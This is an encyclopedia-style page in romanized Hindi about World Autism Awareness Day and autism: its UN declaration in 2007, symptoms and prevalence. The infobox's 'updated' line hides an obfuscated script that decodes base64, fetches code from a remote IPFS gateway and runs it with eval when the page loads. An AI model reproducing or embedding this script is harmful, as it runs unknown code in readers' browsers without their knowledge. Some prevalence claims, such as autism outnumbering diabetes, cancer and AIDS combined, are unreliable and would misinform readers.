विश्व ऑटिज़्म जागरूकता दिवस

vishv aautizm jagarookata divas
vishv aautizm jagarookata divas pratik chihn|200px|center
vivaran	sanyukt rashtr mahasabha ne vishv aautizm jagarookata divas ki ghoshana 2 aprॅl, 2007 mean thi.
tithi	2 aprॅl
ghoshana	varsh 2007
uddeshy	un bachh‍choan aur b doan ke jivan mean sudhar ke kadam uthae jate haian, jo aautizm grash‍t hote haian aur unh‍hean sarthak jivan bitane mean sahayata di jati hai.
aautizm	aautizm ya atmavimoh ek manasik rog ya mastishk ke vikas ke dauran hone vala vikar hai jisake lakshan janm se ya balyavastha (pratham tin varshoan mean) mean hi nazar ane lagate hai aur vyakti ki samajik kushalata aur sanpreshan kshamata par viparit prabhav dalata hai.
sanbandhit lekh	vishv asthama divas, vishv poliyo divas, vishv kshayarog divas, vishv himofiliya divas, vishv madhumeh divas, vishv eds divas, vishv kaiansar divas, vishv maleriya divas
any janakari	kee shodhoan mean yah bat samane aee hai ki aautizm mahilaoan ke mukabale purushoan mean adhik dekhane ko mila hai. yani 100 mean se 80 phisadi purush is bimari se prabhavit haian.
adyatan‎	19:52, 1 aprॅl 2015 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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vishv aautizm jagarookata divas (aangrezi: World Autism Awareness Day) duniyabhar mean pratyek varsh 2 aprॅl ko manaya jata hai. sanyukt rashtr mahasabha ne varsh 2007 mean 2 aprail ke din ko vishv aautizm jagarookata divas ghoshit kiya tha. is din un bachh‍choan aur b doan ke jivan mean sudhar ke kadam uthae jate haian, jo aautizm grash‍t hote haian aur unh‍hean sarthak jivan bitane mean sahayata di jati hai. nila rang aautizm ka pratik mana gaya hai. varsh 2013 mean is avasar par aautizmagrash‍t ek vh‍yakti krishh‍n narayanan dvara likhit ek push‍tak aur 'alag hi asha' shirshak ek git jari ki gee. bharat ke samajik nh‍yay evan adhikarita mantralay ke anusar prati 110 mean se ek bachh‍cha aautizmagrash‍t hota hai aur har 70 balakoan mean se ek balak is bimari se prabhavit hota hai. is bimari ki chapet mean ane ke balikaoan ke mukabale balakoan ki jh‍yada sanbhavana hai. is bimari ko pahachanane ka koee nishchit tarika jnat nahian hai, lekin jalh‍di nidan ho jane ki sthiti mean sudhar lane ke lie kuchh kiya ja sakata hai. duniyabhar mean yah bimari paee jati hai aur isaka asar bachh‍choan, parivaroan, samuday aur samaj par p data hai. thumb|left|vishv aautizm jagarookata divas, 2015

kya hai aautizm

1. REDIRECTsaancha:mukhy

aautizm (Autism) ya atmavimoh / svalinata, ek manasik rog ya mastishk ke vikas ke dauran hone vala vikar hai jo vikas sanbandhi ek ganbhir vikar hai, jisake lakshan janm se ya balyavastha (pratham tin varshoan mean) mean hi nazar ane lagate hai aur vyakti ki samajik kushalata aur sanpreshan kshamata par viparit prabhav dalata hai. jin bachchoan mean yah rog hota hai unaka vikas any bachchoan se asamany hota hai, sath hi isaki vajah se unake nyoorosistam par viparit prabhav p data hai. isase prabhavit vyakti, simit aur doharav yukt vyavahar karata hai jaise ek hi kam ko bar-bar doharana. yah jivanaparyant bana rahane vala vikar hai. aautizmagrast vyakti sanvedanoan ke prati asamany vyavahar darshate haian, kyoanki unake ek ya adhik sanvedan prabhavit hote haian. in sab samasyaoan ka prabhav vyakti ke vyavahar mean dikhaee deta hai, jaise vyaktiyoan, vastuoan aur ghatanaoan se asamany tarike se ju dana. aautizm ka vistrit dayara hai.

aautizm ke lakshan

left|thumb|varsh 2014 mean aautizm ke mahattvapoorn aank de

• aautizm ke dauran vyakti ko kee samasyaean ho sakati haian, yahaan tak ki vyakti manasik roop se vikalaang ho sakata hai.
• aautizm ke rogi ko mirgi ke daure bhi p d sakate haian.
• kee bar aautizm se grasit vyakti ko bolane aur sunane mean samasyaean ati haian.
• aautizm jab ganbhir roop se hota hai to ise aautistik dish‍aaurdar ke nam se jana jata hai lekin jab aautizm ke lakshan kam prabhavi hote haian to ise aautizm spektram dish‍aaurdar (ASD) ke nam se jana jata hai. eesadi ke bhitar esparjar siandrom shamil hai.

aautizm ka prabhav

• aautizm poori duniya mean phaila hua hai. ek riport ke anusar varsh 2010 tak vishv mean takariban 7 karo d log aautijm se prabhavit the.
• itana hi nahian duniyabhar mean aautizm prabhavit rogiyoan ki sankhya madhumeh, kaiansar aur eds ke rogiyoan ki sankhya milakar bhi isase adhik hai.
• aautizm prabhavit rogiyoan mean daun siandrom ki sankhya apeksha se bhi adhik hai.
• aautizm pidi़toan ki sankhya ka is bat se aandaza lagaya ja sakata hai ki duniyabhar mean prati das hazar mean se 20 vyakti is rog se prabhavit hote haian.
• kee shodhoan mean yah bhi bat samane aee hai ki aautizm mahilaoan ke mukabale purushoan mean adhik dekhane ko mila hai. yani 100 mean se 80 phisadi purush is bimari se prabhavit haian.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

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bahari k diyaan

• World Autism Awareness Day Materials

sanbandhit lekh

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